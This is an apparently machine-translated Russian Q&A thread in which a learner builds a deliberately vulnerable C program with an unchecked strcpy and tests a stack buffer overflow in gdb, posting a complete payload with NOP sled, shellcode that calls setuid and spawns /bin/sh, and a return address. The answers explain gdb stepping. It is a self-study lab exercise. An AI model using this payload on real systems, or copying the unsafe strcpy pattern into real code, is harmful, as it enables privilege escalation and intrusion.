2016-03-09 5 views
1

Здесь я читаю об основных переполнениях буфера: http://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html. Я думал, что я понял, что происходит, так что я сделал свою собственную программу:переполнение основного буфера с помощью strcpy

//vulnerable1.c 
#include <stdio.h> 

#define MAX_DEGF_SIZE 720 

int main(int argc, char* argv[]) 
{ 
    char degF[MAX_DEGF_SIZE]; 

    if (argc == 2 && strlen(argv[0]) < MAX_DEGF_SIZE) { 
     strcpy(degF, argv[1]); 
    } else { 
     fprintf(stderr, "degF to degC converter\n"); 
     fprintf(stderr, "Usage: %s <degF>\n", argv[0]); 

     return -1; 
    } 
} 

Поскольку размер буфера 720, я тестировал, насколько большой вклад будет необходимо.

./vulnerable1 `perl -e 'print "A"x728'` 
AA...AAA degF is -17.8 degC 

./vulnerable1 `perl -e 'print "A"x732'` 
AA...AA degF is -17.8 degC 
Segmentation fault 

Здесь я вижу, что мне нужно как минимум 732 байт. Далее я disass основной, чтобы увидеть, сколько байтов фактически были защищены:

(gdb) disass main 
Dump of assembler code for function main: 
    0x08048514 <+0>: push %ebp 
    0x08048515 <+1>: mov %esp,%ebp 
    0x08048517 <+3>: and $0xfffffff0,%esp 
    0x0804851a <+6>: sub $0x2f0,%esp 

0x2f0 = 752. Таким образом, переменная дополненный 20 байт. Поэтому мне нужно 756 байт, чтобы перезаписать сохраненный ebp и 760 байт, чтобы перезаписать обратный адрес. Мой Разбивка стек: NOPS(704 bytes) + shellcode (32 bytes) + 'A's (20 bytes) + Return Address (4 bytes) = 760

Сейчас я стараюсь это:

gdb -q vulnerable1 
Reading symbols from /home/testUser/vulnerable1...done. 
(gdb) break main 
Breakpoint 1 at 0x8048520: file vulnerable1.c, line 11. 
(gdb) r `perl -e 'print "\x90"x704, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'` 
Starting program: /home/testUser/vulnerable1 `perl -e 'print "\x90"x704, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'` 

Breakpoint 1, main (argc=2, argv=0xbffff564) at vulnerable1.c:11 
11  if (argc == 2 && strlen(argv[0]) < MAX_DEGF_SIZE) { 
(gdb) step 
__strlen_sse2() at ../sysdeps/i386/i686/multiarch/strlen.S:70 
70 ../sysdeps/i386/i686/multiarch/strlen.S: No such file or directory. 
    in ../sysdeps/i386/i686/multiarch/strlen.S 
(gdb) step 
73 in ../sysdeps/i386/i686/multiarch/strlen.S 

Что здесь происходит?

+0

Вы используете 'strlen (argv [0])', вы не имеете в виду 'strlen (argv [1])'? – Barmar

+0

ОП пытается использовать уязвимость в примерной программе. Да, у него есть ошибки, и это преднамеренно. –

+0

позволяет начать с 'argv [0]' это имя исполняемого файла, а не первый параметр командной строки. – user3629249

ответ

1

Вы просто ступите в strlen, который, по-видимому, реализован в сборке, а не в C (вероятно, для производительности).

Просто сделайте шаг, пока вы не вернетесь в main, или не используйте next для перехода по вызову функции.

+0

Или сломайте вызов strcpy с 'break main.c: 1234' (используя фактическое имя файла и номер строки вместо main.c и 1234) – immibis

+0

Если я просто запускаю его с этими аргументами, я получаю ... 1 ð1 Rhn/shh // bi RS B aaaaaaaaaaaaaaaaaaaaaq degF -17.8 degC Ошибка сегментации для выхода. Но все тот же пользователь – samuelk71